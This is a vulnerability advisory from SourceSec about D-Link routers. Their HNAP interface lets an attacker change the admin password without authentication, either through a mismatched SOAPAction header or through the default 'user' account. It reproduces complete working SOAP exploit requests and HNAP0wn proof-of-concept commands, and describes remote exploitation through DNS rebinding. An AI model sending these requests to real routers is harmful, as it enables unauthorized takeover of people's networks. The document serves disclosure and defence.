Hacking D-Link Routers With HNAP

SourceSec Security Research
www.sourcesec.com

Vulnerability Summary

Multiple D-Link routers suffer from insecure implementations of the Home Network Administration Protocol which allow un-authenticated and/or un-privileged users to view and configure administrative settings on the router.

Further, the mere existence of HNAP allows attackers to completely bypass the CAPTCHA login features that D-Link has made available in recent firmware releases.

These vulnerabilities can be exploited by an individual inside the local network, as well as an external attacker.

Affected Products

It is suspected that most, if not all, D-Link routers manufactured since 2006 have HNAP support and are vulnerable to one of the below described vulnerabilities. However, only the following routers and firmware versions have been confirmed to date:

1) DI-524 hardware version C1, firmware version 3.23
2) DIR-628 hardware version B2, firmware versions 1.20NA and 1.22NA
3) DIR-655 hardware version A1, firmware version 1.30EA

Vulnerability Description

Vulnerabilities reside in D-Link's implementation of the Home Network Administration Protocol (HNAP). HNAP is a SOAP-based protocol that provides a common interface for administrative control of a networked device [1]. HNAP is used by D-Link's "Quick Router Setup Wizard" which comes on a CD with D-Link routers, and can be used to view and/or change TCP/IP settings, administrator passwords, wireless configurations, and more. However, the D-Link setup wizard is not required to use HNAP, and any valid SOAP request will be honored by HNAP [2].

While the HNAP protocol does require basic authentication for security purposes, many of D-Link's implementations allow a malicious individual to bypass this authentication requirement. In recent models (DIR-628, DIR-655) one of the SOAP actions, GetDeviceSettings, can be executed without authentication.

Note that while the GetDeviceSettings action does not itself allow an attacker to obtain any sensitive information from the device, this feature can be used to bypass the authentication requirements for all other SOAP actions.

For example, if an attacker wishes to execute a different SOAP action, such as SetDeviceSettings which can be used to change the administrative password, he can send the following request:

```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
Content-Length: 453

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <soap:Body>
    <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
      <AdminPassword>testing123</AdminPassword>
    </SetDeviceSettings>
  </soap:Body>
</soap:Envelope>
```

Note that while the SOAPAction header specifies that the requested action is GetDeviceSettings, the body XML data is instructing the router to execute the SetDeviceSettings action. Also note that no authorization or authentication information is present in this request.

When the router sees that the requested SOAPAction is GetDeviceSettings it forgoes the normal authentication requirements, however, it will execute whatever SOAP action is specified in the body of the SOAP request, even if that action does not match the action specified in the SOAPAction header.

Older models, such as the DI-524, require authentication for all of the supported SOAP actions, but allow both the administrator and user accounts to execute any of these actions. This allows a malicious individual to use the often-ignored user account (default login of 'user' with a blank password) to perform administrative actions:

```
POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
Content-Length: 453

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <soap:Body>
    <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
      <AdminPassword>testing123</AdminPassword>
    </SetDeviceSettings>
  </soap:Body>
</soap:Envelope
```

Upon execution of the above requests the router's administrative password will be changed, which is normally an action restricted to administrative users only.

Proof of Concept

HNAP0wn has been created as a proof-of-concept tool for exploiting vulnerable HNAP implementations, specifically those found in D-Link routers [3]. It includes pre-generated HNAP XML payloads for common HNAP SOAP actions, which can be modified as necessary to view or configure router settings.

For example, to change the administrative password as in the above examples:

1) Edit the 'xml/SetDeviceSettings.xml' file with the new administrative password.

2) Try specifying the 'GetDeviceSettings' SOAP action for all actions:

```
$ ./hnap0wn 192.168.0.1:8099 xml/SetDeviceSettings.xml GetDeviceSettings
```

3) If step 2 failed, try authenticating with user name of 'user' and a blank password:

```
$ ./hnap0wn user:@192.168.0.1 xml/SetDeviceSettings.xml
```

Potential for Exploitation

Any attacker inside the local network can perform administrative actions by simply sending the appropriate SOAP request to the router.

A remote attacker will not have direct access to the HNAP interface. However, a remote attacker can indirectly access the HNAP interface by performing a DNS rebinding attack and using JavaScript to make XMLHttpRequests to the router [4]. The attacker's JavaScript can make administrative modifications to the router when a user inside the local network browses to the attacker's Web page.

Vulnerability Impact

The CAPTCHA feature implemented in recent D-Link firmware releases is ineffective in achieving its intended goal, which is to prevent automated malware from authenticating to the router [5]. Even without the authentication bypass vulnerabilities demonstrated above, malware can simply try to authenticate to the HNAP interface rather than solving the CAPTCHA on the router's Web interface.

Any malicious user or malware inside the network can easily modify router configuration settings without any knowledge of the administrative password, and without needing to solve the Web interface's CAPTCHA.

External attackers can lure internal users to infected Web sites in order to use the internal user's browser to attack the router's HNAP interface.

Mitigations

There is no known way to disable HNAP. There is no known fix at the time of this writing.

References

[1] "Cisco - HNAP (Home Network Administration Protocol)",
http://www.purenetworks.com/partners/hnap.php

[2] "NETWORK DEVICE MANAGEMENT - Patent Application 20070130286",
http://www.freepatentsonline.com/y2007/0130286.html

[3] HNAP0wn
http://www.sourcesec.com/Lab/hnap0wn.tar.gz

[4] "Protecting Routers from DNS Rebinding Attacks",
http://crypto.stanford.edu/dns/dns-rebinding.pdf

[5] "D-Link First to Add CAPTCHA to Its Home Routers to Help Prevent Against Attacks",
http://www.dlink.com/tools/framecontent.aspx?type=0&rid=500